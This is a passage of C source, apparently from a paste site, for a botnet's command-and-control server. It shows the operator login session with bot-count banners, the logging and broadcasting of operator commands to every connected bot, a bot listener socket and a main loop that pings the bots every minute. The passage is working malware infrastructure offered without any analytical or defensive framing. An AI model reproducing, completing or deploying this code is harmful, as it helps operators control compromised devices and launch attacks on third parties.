  627.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  628.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  629.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  630.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  631.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  632.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  633.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  634.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  635.                 while(1) {
  636.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  637.                 if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  638.                 break;
  639.                 }
  640.                 continue;
  641.             }
  642.             if(strstr(buf, "LOGOUT")) {
  643.                 char logoutmessage [2048];
  644.                 memset(logoutmessage, 0, 2048);
  645.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  646.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  647.                 sleep(5);
  648.                 goto end;
  649.             }
  650.                 trim(buf);
  651.                 if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  652.                 if(strlen(buf) == 0) continue;
  653.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  654.  
  655.                 FILE *LogFile;
  656.                 LogFile = fopen("server_log.txt", "a");
  657.                 time_t now;
  658.                 struct tm *gmt;
  659.                 char formatted_gmt [50];
  660.                 char lcltime[50];
  661.                 now = time(NULL);
  662.                 gmt = gmtime(&now);
  663.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  664.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  665.                 fclose(LogFile);
  666.                 broadcast(buf, datafd, accounts[find_line].username);
  667.                 memset(buf, 0, 2048);
  668.         }
  669.         end:
  670.             managements[datafd].connected = 0;
  671.             close(datafd);
  672.             OperatorsConnected--;
  673. }
  674. void *BotListener(int port) {
  675.     int sockfd, newsockfd;
  676.     socklen_t clilen;
  677.     struct sockaddr_in serv_addr, cli_addr;
  678.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  679.     if (sockfd < 0) perror("ERROR opening socket");
  680.     bzero((char *) &serv_addr, sizeof(serv_addr));
  681.     serv_addr.sin_family = AF_INET;
  682.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  683.     serv_addr.sin_port = htons(port);
  684.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  685.     listen(sockfd,5);
  686.     clilen = sizeof(cli_addr);
  687.     while(1) {
  688.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  689.         if (newsockfd < 0) perror("ERROR on accept");
  690.         pthread_t thread;
  691.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  692. }}
  693. int main (int argc, char *argv[], void *sock)//~B1NARY~
  694. {
  695.         signal(SIGPIPE, SIG_IGN);
  696.         int s, threads, port;
  697.         struct epoll_event event;
  698.         if (argc != 4) {
  699.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  700.             exit (EXIT_FAILURE);
  701.         }
  702.         port = atoi(argv[3]);
  703.         telFD = fopen("telnet.txt", "a+");
  704.         threads = atoi(argv[2]);
  705.         listenFD = create_and_bind (argv[1]);
  706.         if (listenFD == -1) abort ();
  707.         s = make_socket_non_blocking (listenFD);
  708.         if (s == -1) abort ();
  709.         s = listen (listenFD, SOMAXCONN);
  710.         if (s == -1) {
  711.             perror ("listen");
  712.             abort ();
  713.         }
  714.         epollFD = epoll_create1 (0);
  715.         if (epollFD == -1) {
  716.             perror ("epoll_create");
  717.             abort ();
  718.         }
  719.         event.data.fd = listenFD;
  720.         event.events = EPOLLIN | EPOLLET;
  721.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  722.         if (s == -1) {
  723.             perror ("epoll_ctl");
  724.             abort ();
  725.         }
  726.         pthread_t thread[threads + 2];
  727.         while(threads--) {
  728.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  729.         }
  730.         pthread_create(&thread[0], NULL, &BotListener, port);
  731.         while(1) {
  732.             broadcast("PING", -1, "LEL");
  733.             sleep(60);
  734.         }
  735.         close (listenFD);
  736.         return EXIT_SUCCESS;
  737. }
Advertisement
Add Comment
Please, Sign In to add comment